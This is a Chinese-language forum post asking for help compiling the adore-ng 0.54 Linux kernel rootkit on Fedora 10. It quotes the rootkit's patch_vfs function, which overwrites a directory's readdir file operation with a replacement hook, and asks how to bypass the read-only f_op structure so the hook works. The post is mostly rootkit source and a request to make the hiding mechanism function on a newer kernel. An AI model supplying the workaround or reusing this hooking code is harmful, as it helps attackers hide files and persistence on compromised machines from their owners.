- 論壇徽章:
- 0
|
編譯adore-ng-0.54的代碼時(shí)候提示“錯(cuò)誤:向只讀位置‘*filep->f_op’賦值”
相關(guān)的代碼段如下:- int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
- {
- struct file *filep;
- filep = filp_open(p, O_RDWR|O_DIRECTORY, 0);
- if (IS_ERR(filep)) {
- return -1;
- }
- if (orig_readdir)
- *orig_readdir = filep->f_op->readdir; //保存原始的readdir,以便rootkit退出時(shí)能恢復(fù)
- filep->f_op->readdir = new_readdir; //用new_readdir替換
- filp_close(filep, 0);
- return 0;
- }
復(fù)制代碼 fedora10的系統(tǒng),內(nèi)核版本是2.6.27.5
請問有什么方法能給f_op賦值么? |
|